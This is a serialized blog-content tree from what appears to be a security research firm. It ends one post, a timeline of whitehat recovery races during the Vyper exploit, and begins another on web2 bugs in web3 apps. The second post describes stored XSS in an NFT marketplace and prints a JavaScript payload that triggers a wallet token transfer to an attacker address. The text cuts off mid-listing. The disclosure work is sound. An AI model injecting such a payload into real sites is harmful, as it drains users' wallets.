UTC",{"type":29,"value":14024},{"type":24,"tag":57,"props":37565,"children":37568},{"href":37566,"rel":37567},"https://etherscan.io/tx/0xc93eb238ff42632525e990119d3edc7775299a70b56e54d83ec4f53736400964",[61],[37569],{"type":29,"value":37570},"msETH/ETH was drained",{"type":29,"value":66},{"type":24,"tag":25,"props":37573,"children":37574},{},[37575,37580,37581,37588],{"type":24,"tag":188,"props":37576,"children":37577},{},[37578],{"type":29,"value":37579},"15:34 UTC",{"type":29,"value":14024},{"type":24,"tag":57,"props":37582,"children":37585},{"href":37583,"rel":37584},"https://etherscan.io/tx/0xb676d789bb8b66a08105c844a49c2bcffb400e5c1cfabd4bc30cca4bff3c9801",[61],[37586],{"type":29,"value":37587},"alETH/ETH was drained",{"type":29,"value":66},{"type":24,"tag":25,"props":37590,"children":37591},{},[37592,37597,37599,37606],{"type":24,"tag":188,"props":37593,"children":37594},{},[37595],{"type":29,"value":37596},"15:43 UTC",{"type":29,"value":37598}," We identified that ",{"type":24,"tag":57,"props":37600,"children":37603},{"href":37601,"rel":37602},"https://etherscan.io/address/0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511#code",[61],[37604],{"type":29,"value":37605},"CRV/ETH was vulnerable",{"type":29,"value":37607},", compiled using Vyper version 3.0.0. It was critical that we kept the nature of affected contracts secret for as long as possible.",{"type":24,"tag":25,"props":37609,"children":37610},{},[37611,37616],{"type":24,"tag":188,"props":37612,"children":37613},{},[37614],{"type":29,"value":37615},"16:11 UTC",{"type":29,"value":37617}," We began working on a whitehat exploit.",{"type":24,"tag":25,"props":37619,"children":37620},{},[37621,37623,37630],{"type":29,"value":37622},"Unfortunately, too many groups were doing independent research in parallel and rumors were spreading. At 16:44 UTC, we decided to release a ",{"type":24,"tag":57,"props":37624,"children":37627},{"href":37625,"rel":37626},"https://twitter.com/vyperlang/status/1685692973051498497",[61],[37628],{"type":29,"value":37629},"public statement on affected versions",{"type":29,"value":66},{"type":24,"tag":25,"props":37632,"children":37633},{},[37634],{"type":29,"value":37635},"By 18:32 UTC, we had a proof of concept exploit to be used in a potential whitehat recovery. bpak from Chainlight was also working on an exploit in parallel, and shared it at 19:06 UTC.",{"type":24,"tag":25,"props":37637,"children":37638},{},[37639,37641,37648],{"type":29,"value":37640},"Five minutes later at 19:11 UTC, ",{"type":24,"tag":57,"props":37642,"children":37645},{"href":37643,"rel":37644},"https://etherscan.io/tx/0x2e7dc8b2fb7e25fd00ed9565dcc0ad4546363171d5e00f196d48103983ae477c",[61],[37646],{"type":29,"value":37647},"somebody else stole the funds",{"type":29,"value":66},{"type":24,"tag":25,"props":37650,"children":37651},{},[37652],{"type":29,"value":37653},"The attack structure was largely different from either of our proofs of concept, so it was unlikely to have been a leak from our group. Regardless, this was pretty demoralizing.",{"type":24,"tag":25,"props":37655,"children":37656},{},[37657],{"type":29,"value":37658},"Nevertheless, there was more ground to cover.",{"type":24,"tag":25,"props":37660,"children":37661},{},[37662,37667],{"type":24,"tag":188,"props":37663,"children":37664},{},[37665],{"type":29,"value":37666},"21:26 UTC",{"type":29,"value":37668}," Addison proposed an ambitious plan to recover the remaining assets in the CRVETH pool.",{"type":24,"tag":1706,"props":37670,"children":37671},{},[37672],{"type":24,"tag":25,"props":37673,"children":37674},{},[37675,37677,37681,37683,37686,37688,37691,37693],{"type":29,"value":37676},"if you send like 30k crv to the crv/eth pool ",{"type":24,"tag":37678,"props":37679,"children":37680},"br",{},[],{"type":29,"value":37682},"\nyou can then update admin fee ",{"type":24,"tag":37678,"props":37684,"children":37685},{},[],{"type":29,"value":37687},"\nand then the crv/eth rate is like .15 eth per crv ",{"type":24,"tag":37678,"props":37689,"children":37690},{},[],{"type":29,"value":37692},"\nso you can basically drain whole pool for few hundred K crv ",{"type":24,"tag":37678,"props":37694,"children":37695},{},[],{"type":24,"tag":25,"props":37697,"children":37698},{},[37699,37704],{"type":24,"tag":188,"props":37700,"children":37701},{},[37702],{"type":29,"value":37703},"21:52 UTC",{"type":29,"value":37705}," bpak had produced a working proof of concept which could recover 3100 ETH.",{"type":24,"tag":25,"props":37707,"children":37708},{},[37709,37711,37718,37720,37727,37735],{"type":29,"value":37710},"Ten minutes later at 22:02 UTC, we were beaten again. By some freak concidence, the ",{"type":24,"tag":57,"props":37712,"children":37715},{"href":37713,"rel":37714},"https://etherscan.io/address/0x8c73d39b2da2dd1a10cc16502bc7c8d768ec74c9",[61],[37716],{"type":29,"value":37717},"CRV admin fee bot",{"type":29,"value":37719}," had claimed fees and ",{"type":24,"tag":57,"props":37721,"children":37724},{"href":37722,"rel":37723},"https://etherscan.io/tx/0xcd99fadd7e28a42a063e07d9d86f67c88e10a7afe5921bd28cd1124924ae2052",[61],[37725],{"type":29,"value":37726},"the pool was drained",{"type":24,"tag":22996,"props":37728,"children":37729},{},[37730],{"type":24,"tag":57,"props":37731,"children":37733},{"href":36332,"ariaDescribedBy":37732,"dataFootnoteRef":7,"id":36334},[23003],[37734],{"type":29,"value":3238},{"type":29,"value":66},{"type":24,"tag":228,"props":37737,"children":37739},{"id":37738},"blame",[37740],{"type":29,"value":37741},"Blame",{"type":24,"tag":25,"props":37743,"children":37744},{},[37745,37749],{"type":24,"tag":42,"props":37746,"children":37747},{},[37748],{"type":29,"value":37741},{"type":29,"value":37750}," is a strong word. It's not productive to point fingers. At the same time, I think it's useful to think about what could have went better.",{"type":24,"tag":235,"props":37752,"children":37754},{"id":37753},"races",[37755],{"type":29,"value":37756},"Races",{"type":24,"tag":25,"props":37758,"children":37759},{},[37760],{"type":29,"value":37761},"In both cases, whitehat efforts were beaten by less than half an hour. Sometimes every second really does count.",{"type":24,"tag":25,"props":37763,"children":37764},{},[37765],{"type":29,"value":37766},"There likely could have been better preparation and resources for executing on these attacks. At the same time, this seems like a double-edged sword. Is it really a good idea to aggregate information related how to execute a hack? Who should we trust?",{"type":24,"tag":25,"props":37768,"children":37769},{},[37770],{"type":29,"value":37771},"On the other hand, I think the process was quite efficient. We went from initial suspicions to identifying vulnerable variants in 2 hours and 4 minutes.",{"type":24,"tag":235,"props":37773,"children":37775},{"id":37774},"information-leakage",[37776],{"type":29,"value":37777},"Information Leakage",{"type":24,"tag":25,"props":37779,"children":37780},{},[37781],{"type":29,"value":37782},"I was both an auditor and a whitehat.",{"type":24,"tag":25,"props":37784,"children":37785},{},[37786,37788,37795],{"type":29,"value":37787},"There's a strong culture of publishing in auditing. We're paid for technical thought leadership and deep understanding of vulnerabilities. One way to demonstrate this is ",{"type":24,"tag":57,"props":37789,"children":37792},{"href":37790,"rel":37791},"https://twitter.com/osec_io/status/1579969927020412929",[61],[37793],{"type":29,"value":37794},"by publishing the \"scoop\"",{"type":29,"value":37796}," on hacks in the wild. Researchers cost a lot and the return on investment is publicity.",{"type":24,"tag":25,"props":37798,"children":37799},{},[37800],{"type":29,"value":37801},"On the other hand, there's a compelling argument that early disclosure of the affected versions had a material impact on the whitehat recovery.",{"type":24,"tag":25,"props":37803,"children":37804},{},[37805],{"type":29,"value":37806},"Half an hour more could have saved $18M.",{"type":24,"tag":25,"props":37808,"children":37809},{},[37810],{"type":29,"value":37811},"Auditors don't pay for externalities created by their reporting. Instead, they get rewarded with likes, retweets, and publicity. Seems like a hard problem.",{"type":24,"tag":228,"props":37813,"children":37815},{"id":37814},"next-steps",[37816],{"type":29,"value":37817},"Next Steps",{"type":24,"tag":25,"props":37819,"children":37820},{},[37821],{"type":29,"value":37822},"I disagree with takes like \"we need formal verification to solve this\". This bug could have been caught with a unit test. Formal verification is very useful for many bug classes, but I'm not convinced it's as useful for relatively simple, non-optimizing compilers.",{"type":24,"tag":25,"props":37824,"children":37825},{},[37826,37828,37835],{"type":29,"value":37827},"It's important to note that this bug ",{"type":24,"tag":57,"props":37829,"children":37832},{"href":37830,"rel":37831},"https://twitter.com/real_philogy/status/1685948253139857409",[61],[37833],{"type":29,"value":37834},"was patched since November 2021",{"type":29,"value":66},{"type":24,"tag":1706,"props":37837,"children":37838},{},[37839],{"type":24,"tag":25,"props":37840,"children":37841},{},[37842,37844,37849,37850,37853,37855,37860],{"type":29,"value":37843},"I think this Vyper 0day is less about the skill of the Vyper team or the language itself but more about ",{"type":24,"tag":42,"props":37845,"children":37846},{},[37847],{"type":29,"value":37848},"processes",{"type":29,"value":26042},{"type":24,"tag":37678,"props":37851,"children":37852},{},[],{"type":29,"value":37854},"\nThe bug was a fixed many versions of Vyper ago, the actual oversight was not realizing the potential impact to projects at the time it ",{"type":24,"tag":42,"props":37856,"children":37857},{},[37858],{"type":29,"value":37859},"was",{"type":29,"value":37861}," fixed.",{"type":24,"tag":25,"props":37863,"children":37864},{},[37865],{"type":29,"value":37866},"Unfortunately, public goods get easily forgotten. With immutable contracts, projects can have implicit dependencies on code written years ago. Protocol developers and security experts should stay up to date on security developments across the entire execution stack.",{"type":24,"tag":25932,"props":37868,"children":37870},{"className":37869,"dataFootnotes":7},[25935],[37871,37876],{"type":24,"tag":228,"props":37872,"children":37874},{"className":37873,"id":23003},[25940],[37875],{"type":29,"value":25943},{"type":24,"tag":175,"props":37877,"children":37878},{},[37879],{"type":24,"tag":179,"props":37880,"children":37881},{"id":37075},[37882,37884],{"type":29,"value":37883},"Thankfully, these funds were later returned. ",{"type":24,"tag":57,"props":37885,"children":37887},{"href":37103,"ariaLabel":26046,"className":37886,"dataFootnoteBackref":7},[26048],[37888],{"type":29,"value":26051},{"type":24,"tag":10448,"props":37890,"children":37891},{},[37892],{"type":29,"value":10452},{"title":7,"searchDepth":367,"depth":367,"links":37894},[37895,37896,37900,37901],{"id":37170,"depth":367,"text":37173},{"id":37738,"depth":367,"text":37741,"children":37897},[37898,37899],{"id":37753,"depth":408,"text":37756},{"id":37774,"depth":408,"text":37777},{"id":37814,"depth":367,"text":37817},{"id":23003,"depth":367,"text":25943},"content:blog:2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline",{"_path":37906,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":37907,"description":37908,"author":37909,"image":37912,"date":37914,"isFeatured":16,"tags":37915,"onBlogPage":16,"body":37918,"_type":10481,"_id":42131,"_source":10483,"_file":42132,"_stem":42133,"_extension":10486},"/blog/2023-08-11-web2-bug-repellant-instructions","Web2 Bug Repellant Instructions","An analysis of security risks that don’t get enough attention - web2 bugs in web3 apps. We take a deep and practical look at vulnerabilities across various applications.",[37910,37911],"caue","bruno",{"src":37913,"height":14,"width":14},"/posts/web2-bug-repellant-instructions/web2-bug-repellant-instructions.jpg","2023-08-11",[37916,37917],"nft-marketplaces","xss",{"type":21,"children":37919,"toc":42114},[37920,37924,37929,37933,37938,37943,37948,37964,37970,37983,38005,38012,38017,38024,38029,38035,38040,38045,38050,38055,38066,38071,39040,39050,39062,39069,39074,39896,39901,39906,39911,39916,40700,40705,40787,40792,40861,40867,40872,40877,41104,41117,41122,41127,41132,41139,41144,41151,41157,41162,41167,41172,41491,41496,41502,41518,41524,41529,41534,41544,41549,41554,41563,41568,41574,41590,41603,41608,41613,41633,41640,41645,41652,41661,41666,41687,41740,41745,41796,41810,41815,41829,41944,41967,42051,42074,42079,42084,42089,42094,42099,42105,42110],{"type":24,"tag":228,"props":37921,"children":37922},{"id":35723},[37923],{"type":29,"value":35726},{"type":24,"tag":25,"props":37925,"children":37926},{},[37927],{"type":29,"value":37928},"Transitioning to a fully decentralized web is hard. Many Web 3 applications still have large, unexplored Web 2 attack surfaces.",{"type":24,"tag":235,"props":37930,"children":37931},{"id":10534},[37932],{"type":29,"value":10537},{"type":24,"tag":25,"props":37934,"children":37935},{},[37936],{"type":29,"value":37937},"In this blog post, we'll explore these lingering threats and potential mitigations. This work summarizes our internal research against various applications, from NFT marketplaces to wallets to protocol frontends.",{"type":24,"tag":25,"props":37939,"children":37940},{},[37941],{"type":29,"value":37942},"As a note, generally applications with non-trivial frontends are more susceptible to these vulnerabilities. Hence, a lot of our research focused on the interactions with NFTs, an ideal Web 2.5 candidate in many senses.",{"type":24,"tag":228,"props":37944,"children":37945},{"id":37917},[37946],{"type":29,"value":37947},"XSS",{"type":24,"tag":25,"props":37949,"children":37950},{},[37951],{"type":24,"tag":42,"props":37952,"children":37953},{},[37954,37956,37963],{"type":29,"value":37955},"I cannot make you understand. I cannot make anyone understand what is happening inside me. I cannot ",{"type":24,"tag":57,"props":37957,"children":37960},{"href":37958,"rel":37959},"https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting",[61],[37961],{"type":29,"value":37962},"even explain it to myself",{"type":29,"value":66},{"type":24,"tag":235,"props":37965,"children":37967},{"id":37966},"managing-metadata",[37968],{"type":29,"value":37969},"Managing Metadata",{"type":24,"tag":25,"props":37971,"children":37972},{},[37973,37975,37982],{"type":29,"value":37974},"Effectively managing metadata is a challenge. When improperly sanitized, unsuspecting metadata becomes a dangerous sink for malicious ",{"type":24,"tag":57,"props":37976,"children":37979},{"href":37977,"rel":37978},"https://www.vice.com/en/article/xgdvaz/nft-steal-ip-address-opensea",[61],[37980],{"type":29,"value":37981},"payloads",{"type":29,"value":66},{"type":24,"tag":25,"props":37984,"children":37985},{},[37986,37988,37995,37997,38003],{"type":29,"value":37987},"We showcase this vulnerability in the ",{"type":24,"tag":57,"props":37989,"children":37992},{"href":37990,"rel":37991},"https://rocki.com/",[61],[37993],{"type":29,"value":37994},"Rocki Marketplace",{"type":29,"value":37996},". The ",{"type":24,"tag":284,"props":37998,"children":38000},{"className":37999},[],[38001],{"type":29,"value":38002},"artistDescription",{"type":29,"value":38004}," parameter was improperly sanitized, allowing arbitrary HTML input without any validation checks!",{"type":24,"tag":25,"props":38006,"children":38007},{},[38008],{"type":24,"tag":11511,"props":38009,"children":38011},{"alt":7,"src":38010},"/posts/web2-bug-repellant-instructions/metadata.png",[],{"type":24,"tag":25,"props":38013,"children":38014},{},[38015],{"type":29,"value":38016},"When a user loads such a maliciously constructed NFT, they'll unwittingly execute our payload, giving us full control over their account.",{"type":24,"tag":25,"props":38018,"children":38019},{},[38020],{"type":24,"tag":11511,"props":38021,"children":38023},{"alt":7,"src":38022},"/posts/web2-bug-repellant-instructions/xss.png",[],{"type":24,"tag":25,"props":38025,"children":38026},{},[38027],{"type":29,"value":38028},"Of course, this is merely a toy payload. An actual hacker could use this to spread through the marketplace, creating a wormable payload that takes over the entire website.",{"type":24,"tag":235,"props":38030,"children":38032},{"id":38031},"wheres-my-wallet",[38033],{"type":29,"value":38034},"Where's My Wallet",{"type":24,"tag":25,"props":38036,"children":38037},{},[38038],{"type":29,"value":38039},"What's the worst that can happen? How does losing your wallet funds sound?",{"type":24,"tag":25,"props":38041,"children":38042},{},[38043],{"type":29,"value":38044},"Note that triggering this exploit requires some interaction. However, in practice users likely are not carefully examining the wallet prompts, especially on familiar sites.",{"type":24,"tag":25,"props":38046,"children":38047},{},[38048],{"type":29,"value":38049},"It is important to recognize that the presence of XSS in marketplaces can trigger the approval prompt in various wallets, including the attacker's assets.",{"type":24,"tag":25,"props":38051,"children":38052},{},[38053],{"type":29,"value":38054},"In the following example, this malicious transaction was initiated by a malicious code injected into rocki.com.",{"type":24,"tag":38056,"props":38057,"children":38059},"div",{"style":38058},"display:flex; align-items:center; flex-direction:column;",[38060],{"type":24,"tag":11511,"props":38061,"children":38065},{"src":38062,"alt":38063,"style":38064},"/posts/web2-bug-repellant-instructions/metamask.png","Wallet","max-height:550px;",[],{"type":24,"tag":25,"props":38067,"children":38068},{},[38069],{"type":29,"value":38070},"And here we can find the code used to achieve it :",{"type":24,"tag":317,"props":38072,"children":38076},{"className":38073,"code":38074,"language":38075,"meta":7,"style":7},"language-js shiki shiki-themes slack-dark","function request() {\n  if (typeof window.ethereum === 'undefined') {\n    console.error('Please install MetaMask to use this feature.');\n  } else {\n    ethereum.request({ method: 'eth_requestAccounts' }).then((accounts) => {\n      const fromAddress = accounts[0];\n      const attackerAddress = '0x0000000000000000000000000000000000000000';\n      const contractAddress = '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3';\n\n      let tokenAbi = [\n        {\n          constant: false,\n          inputs: [\n            {\n              name: '_to',\n              type: 'address',\n            },\n            {\n              name: '_value',\n              type: 'uint256',\n            },\n          ],\n          name: 'transfer',\n          outputs: [\n            {\n              name: '',\n              type: 'bool',\n            },\n          ],\n          type: 'function',\n        },\n      ];\n\n      const web3 = new Web3(window.ethereum);\n\n      const tokenContract = new web3.eth.Contract(tokenAbi, contractAddress);\n\n      const transactionObject = {\n        from: fromAddress,\n        to: contractAddress,\n        data: tokenContract.methods\n          .transfer(attackerAddress, web3.utils.toWei('100000000', 'ether'))\n          .encodeABI(),\n      };\n\n      web3.eth.sendTransaction(transactionObject);\n    });\n  }\n}\n\nimport('https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js');\nsetTimeout(request, 1e3);\n","js",[38077],{"type":24,"tag":284,"props":38078,"children":38079},{"__ignoreMap":7},[38080,38097,38142,38171,38187,38250,38285,38310,38335,38342,38362,38370,38386,38398,38406,38423,38440,38448,38455,38471,38487,38494,38502,38519,38531,38538,38554,38570,38577,38584,38601,38608,38616,38623,38670,38677,38741,38748,38768,38784,38800,38821,38892,38908,38915,38922,38960,38968,38975,38982,38989,39010],{"type":24,"tag":327,"props":38081,"children":38082},{"class":329,"line":330},[38083,38088,38093],{"type":24,"tag":327,"props":38084,"children":38085},{"style":334},[38086],{"type":29,"value":38087},"function",{"type":24,"tag":327,"props":38089,"children":38090},{"style":340},[38091],{"type":29,"value":38092}," request",{"type":24,"tag":327,"props":38094,"children":38095},{"style":346},[38096],{"type":29,"value":9697},{"type":24,"tag":327,"props":38098,"children":38099},{"class":329,"line":367},[38100,38105,38109,38114,38119,38123,38128,38133,38138],{"type":24,"tag":327,"props":38101,"children":38102},{"style":425},[38103],{"type":29,"value":38104},"  if",{"type":24,"tag":327,"props":38106,"children":38107},{"style":346},[38108],{"type":29,"value":5894},{"type":24,"tag":327,"props":38110,"children":38111},{"style":334},[38112],{"type":29,"value":38113},"typeof",{"type":24,"tag":327,"props":38115,"children":38116},{"style":356},[38117],{"type":29,"value":38118}," window",{"type":24,"tag":327,"props":38120,"children":38121},{"style":346},[38122],{"type":29,"value":66},{"type":24,"tag":327,"props":38124,"children":38125},{"style":356},[38126],{"type":29,"value":38127},"ethereum",{"type":24,"tag":327,"props":38129,"children":38130},{"style":381},[38131],{"type":29,"value":38132}," ===",{"type":24,"tag":327,"props":38134,"children":38135},{"style":844},[38136],{"type":29,"value":38137}," 'undefined'",{"type":24,"tag":327,"props":38139,"children":38140},{"style":346},[38141],{"type":29,"value":364},{"type":24,"tag":327,"props":38143,"children":38144},{"class":329,"line":408},[38145,38150,38154,38158,38162,38167],{"type":24,"tag":327,"props":38146,"children":38147},{"style":356},[38148],{"type":29,"value":38149},"    console",{"type":24,"tag":327,"props":38151,"children":38152},{"style":346},[38153],{"type":29,"value":66},{"type":24,"tag":327,"props":38155,"children":38156},{"style":340},[38157],{"type":29,"value":22387},{"type":24,"tag":327,"props":38159,"children":38160},{"style":346},[38161],{"type":29,"value":349},{"type":24,"tag":327,"props":38163,"children":38164},{"style":844},[38165],{"type":29,"value":38166},"'Please install MetaMask to use this feature.'",{"type":24,"tag":327,"props":38168,"children":38169},{"style":346},[38170],{"type":29,"value":583},{"type":24,"tag":327,"props":38172,"children":38173},{"class":329,"line":421},[38174,38179,38183],{"type":24,"tag":327,"props":38175,"children":38176},{"style":346},[38177],{"type":29,"value":38178},"  } ",{"type":24,"tag":327,"props":38180,"children":38181},{"style":425},[38182],{"type":29,"value":492},{"type":24,"tag":327,"props":38184,"children":38185},{"style":346},[38186],{"type":29,"value":497},{"type":24,"tag":327,"props":38188,"children":38189},{"class":329,"line":450},[38190,38195,38199,38204,38209,38214,38219,38224,38229,38234,38238,38242,38246],{"type":24,"tag":327,"props":38191,"children":38192},{"style":356},[38193],{"type":29,"value":38194},"    ethereum",{"type":24,"tag":327,"props":38196,"children":38197},{"style":346},[38198],{"type":29,"value":66},{"type":24,"tag":327,"props":38200,"children":38201},{"style":340},[38202],{"type":29,"value":38203},"request",{"type":24,"tag":327,"props":38205,"children":38206},{"style":346},[38207],{"type":29,"value":38208},"({ ",{"type":24,"tag":327,"props":38210,"children":38211},{"style":356},[38212],{"type":29,"value":38213},"method:",{"type":24,"tag":327,"props":38215,"children":38216},{"style":844},[38217],{"type":29,"value":38218}," 'eth_requestAccounts'",{"type":24,"tag":327,"props":38220,"children":38221},{"style":346},[38222],{"type":29,"value":38223}," }).",{"type":24,"tag":327,"props":38225,"children":38226},{"style":340},[38227],{"type":29,"value":38228},"then",{"type":24,"tag":327,"props":38230,"children":38231},{"style":346},[38232],{"type":29,"value":38233},"((",{"type":24,"tag":327,"props":38235,"children":38236},{"style":356},[38237],{"type":29,"value":5239},{"type":24,"tag":327,"props":38239,"children":38240},{"style":346},[38241],{"type":29,"value":1674},{"type":24,"tag":327,"props":38243,"children":38244},{"style":334},[38245],{"type":29,"value":9195},{"type":24,"tag":327,"props":38247,"children":38248},{"style":346},[38249],{"type":29,"value":497},{"type":24,"tag":327,"props":38251,"children":38252},{"class":329,"line":481},[38253,38258,38263,38267,38272,38276,38280],{"type":24,"tag":327,"props":38254,"children":38255},{"style":334},[38256],{"type":29,"value":38257},"      const",{"type":24,"tag":327,"props":38259,"children":38260},{"style":356},[38261],{"type":29,"value":38262}," fromAddress",{"type":24,"tag":327,"props":38264,"children":38265},{"style":381},[38266],{"type":29,"value":4809},{"type":24,"tag":327,"props":38268,"children":38269},{"style":356},[38270],{"type":29,"value":38271}," accounts",{"type":24,"tag":327,"props":38273,"children":38274},{"style":346},[38275],{"type":29,"value":11329},{"type":24,"tag":327,"props":38277,"children":38278},{"style":397},[38279],{"type":29,"value":2988},{"type":24,"tag":327,"props":38281,"children":38282},{"style":346},[38283],{"type":29,"value":38284},"];\n",{"type":24,"tag":327,"props":38286,"children":38287},{"class":329,"line":500},[38288,38292,38297,38301,38306],{"type":24,"tag":327,"props":38289,"children":38290},{"style":334},[38291],{"type":29,"value":38257},{"type":24,"tag":327,"props":38293,"children":38294},{"style":356},[38295],{"type":29,"value":38296}," attackerAddress",{"type":24,"tag":327,"props":38298,"children":38299},{"style":381},[38300],{"type":29,"value":4809},{"type":24,"tag":327,"props":38302,"children":38303},{"style":844},[38304],{"type":29,"value":38305}," '0x0000000000000000000000000000000000000000'",{"type":24,"tag":327,"props":38307,"children":38308},{"style":346},[38309],{"type":29,"value":405},{"type":24,"tag":327,"props":38311,"children":38312},{"class":329,"line":529},[38313,38317,38322,38326,38331],{"type":24,"tag":327,"props":38314,"children":38315},{"style":334},[38316],{"type":29,"value":38257},{"type":24,"tag":327,"props":38318,"children":38319},{"style":356},[38320],{"type":29,"value":38321}," contractAddress",{"type":24,"tag":327,"props":38323,"children":38324},{"style":381},[38325],{"type":29,"value":4809},{"type":24,"tag":327,"props":38327,"children":38328},{"style":844},[38329],{"type":29,"value":38330}," '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3'",{"type":24,"tag":327,"props":38332,"children":38333},{"style":346},[38334],{"type":29,"value":405},{"type":24,"tag":327,"props":38336,"children":38337},{"class":329,"line":538},[38338],{"type":24,"tag":327,"props":38339,"children":38340},{"emptyLinePlaceholder":16},[38341],{"type":29,"value":544},{"type":24,"tag":327,"props":38343,"children":38344},{"class":329,"line":547},[38345,38349,38354,38358],{"type":24,"tag":327,"props":38346,"children":38347},{"style":334},[38348],{"type":29,"value":15636},{"type":24,"tag":327,"props":38350,"children":38351},{"style":356},[38352],{"type":29,"value":38353}," tokenAbi",{"type":24,"tag":327,"props":38355,"children":38356},{"style":381},[38357],{"type":29,"value":4809},{"type":24,"tag":327,"props":38359,"children":38360},{"style":346},[38361],{"type":29,"value":7079},{"type":24,"tag":327,"props":38363,"children":38364},{"class":329,"line":557},[38365],{"type":24,"tag":327,"props":38366,"children":38367},{"style":346},[38368],{"type":29,"value":38369},"        {\n",{"type":24,"tag":327,"props":38371,"children":38372},{"class":329,"line":586},[38373,38378,38382],{"type":24,"tag":327,"props":38374,"children":38375},{"style":356},[38376],{"type":29,"value":38377},"          constant:",{"type":24,"tag":327,"props":38379,"children":38380},{"style":334},[38381],{"type":29,"value":6776},{"type":24,"tag":327,"props":38383,"children":38384},{"style":346},[38385],{"type":29,"value":2231},{"type":24,"tag":327,"props":38387,"children":38388},{"class":329,"line":1017},[38389,38394],{"type":24,"tag":327,"props":38390,"children":38391},{"style":356},[38392],{"type":29,"value":38393},"          inputs:",{"type":24,"tag":327,"props":38395,"children":38396},{"style":346},[38397],{"type":29,"value":7079},{"type":24,"tag":327,"props":38399,"children":38400},{"class":329,"line":1026},[38401],{"type":24,"tag":327,"props":38402,"children":38403},{"style":346},[38404],{"type":29,"value":38405},"            {\n",{"type":24,"tag":327,"props":38407,"children":38408},{"class":329,"line":1048},[38409,38414,38419],{"type":24,"tag":327,"props":38410,"children":38411},{"style":356},[38412],{"type":29,"value":38413},"              name:",{"type":24,"tag":327,"props":38415,"children":38416},{"style":844},[38417],{"type":29,"value":38418}," '_to'",{"type":24,"tag":327,"props":38420,"children":38421},{"style":346},[38422],{"type":29,"value":2231},{"type":24,"tag":327,"props":38424,"children":38425},{"class":329,"line":1067},[38426,38431,38436],{"type":24,"tag":327,"props":38427,"children":38428},{"style":356},[38429],{"type":29,"value":38430},"              type:",{"type":24,"tag":327,"props":38432,"children":38433},{"style":844},[38434],{"type":29,"value":38435}," 'address'",{"type":24,"tag":327,"props":38437,"children":38438},{"style":346},[38439],{"type":29,"value":2231},{"type":24,"tag":327,"props":38441,"children":38442},{"class":329,"line":1075},[38443],{"type":24,"tag":327,"props":38444,"children":38445},{"style":346},[38446],{"type":29,"value":38447},"            },\n",{"type":24,"tag":327,"props":38449,"children":38450},{"class":329,"line":1084},[38451],{"type":24,"tag":327,"props":38452,"children":38453},{"style":346},[38454],{"type":29,"value":38405},{"type":24,"tag":327,"props":38456,"children":38457},{"class":329,"line":1100},[38458,38462,38467],{"type":24,"tag":327,"props":38459,"children":38460},{"style":356},[38461],{"type":29,"value":38413},{"type":24,"tag":327,"props":38463,"children":38464},{"style":844},[38465],{"type":29,"value":38466}," '_value'",{"type":24,"tag":327,"props":38468,"children":38469},{"style":346},[38470],{"type":29,"value":2231},{"type":24,"tag":327,"props":38472,"children":38473},{"class":329,"line":1128},[38474,38478,38483],{"type":24,"tag":327,"props":38475,"children":38476},{"style":356},[38477],{"type":29,"value":38430},{"type":24,"tag":327,"props":38479,"children":38480},{"style":844},[38481],{"type":29,"value":38482}," 'uint256'",{"type":24,"tag":327,"props":38484,"children":38485},{"style":346},[38486],{"type":29,"value":2231},{"type":24,"tag":327,"props":38488,"children":38489},{"class":329,"line":1148},[38490],{"type":24,"tag":327,"props":38491,"children":38492},{"style":346},[38493],{"type":29,"value":38447},{"type":24,"tag":327,"props":38495,"children":38496},{"class":329,"line":1176},[38497],{"type":24,"tag":327,"props":38498,"children":38499},{"style":346},[38500],{"type":29,"value":38501},"          ],\n",{"type":24,"tag":327,"props":38503,"children":38504},{"class":329,"line":1184},[38505,38510,38515],{"type":24,"tag":327,"props":38506,"children":38507},{"style":356},[38508],{"type":29,"value":38509},"          name:",{"type":24,"tag":327,"props":38511,"children":38512},{"style":844},[38513],{"type":29,"value":38514}," 'transfer'",{"type":24,"tag":327,"props":38516,"children":38517},{"style":346},[38518],{"type":29,"value":2231},{"type":24,"tag":327,"props":38520,"children":38521},{"class":329,"line":1192},[38522,38527],{"type":24,"tag":327,"props":38523,"children":38524},{"style":356},[38525],{"type":29,"value":38526},"          outputs:",{"type":24,"tag":327,"props":38528,"children":38529},{"style":346},[38530],{"type":29,"value":7079},{"type":24,"tag":327,"props":38532,"children":38533},{"class":329,"line":1212},[38534],{"type":24,"tag":327,"props":38535,"children":38536},{"style":346},[38537],{"type":29,"value":38405},{"type":24,"tag":327,"props":38539,"children":38540},{"class":329,"line":4841},[38541,38545,38550],{"type":24,"tag":327,"props":38542,"children":38543},{"style":356},[38544],{"type":29,"value":38413},{"type":24,"tag":327,"props":38546,"children":38547},{"style":844},[38548],{"type":29,"value":38549}," ''",{"type":24,"tag":327,"props":38551,"children":38552},{"style":346},[38553],{"type":29,"value":2231},{"type":24,"tag":327,"props":38555,"children":38556},{"class":329,"line":4862},[38557,38561,38566],{"type":24,"tag":327,"props":38558,"children":38559},{"style":356},[38560],{"type":29,"value":38430},{"type":24,"tag":327,"props":38562,"children":38563},{"style":844},[38564],{"type":29,"value":38565}," 'bool'",{"type":24,"tag":327,"props":38567,"children":38568},{"style":346},[38569],{"type":29,"value":2231},{"type":24,"tag":327,"props":38571,"children":38572},{"class":329,"line":4870},[38573],{"type":24,"tag":327,"props":38574,"children":38575},{"style":346},[38576],{"type":29,"value":38447},{"type":24,"tag":327,"props":38578,"children":38579},{"class":329,"line":4879},[38580],{"type":24,"tag":327,"props":38581,"children":38582},{"style":346},[38583],{"type":29,"value":38501},{"type":24,"tag":327,"props":38585,"children":38586},{"class":329,"line":4913},[38587,38592,38597],{"type":24,"tag":327,"props":38588,"children":38589},{"style":356},[38590],{"type":29,"value":38591},"          type:",{"type":24,"tag":327,"props":38593,"children":38594},{"style":844},[38595],{"type":29,"value":38596}," 'function'",{"type":24,"tag":327,"props":38598,"children":38599},{"style":346},[38600],{"type":29,"value":2231},{"type":24,"tag":327,"props":38602,"children":38603},{"class":329,"line":4938},[38604],{"type":24,"tag":327,"props":38605,"children":38606},{"style":346},[38607],{"type":29,"value":6830},{"type":24,"tag":327,"props":38609,"children":38610},{"class":329,"line":4974},[38611],{"type":24,"tag":327,"props":38612,"children":38613},{"style":346},[38614],{"type":29,"value":38615},"      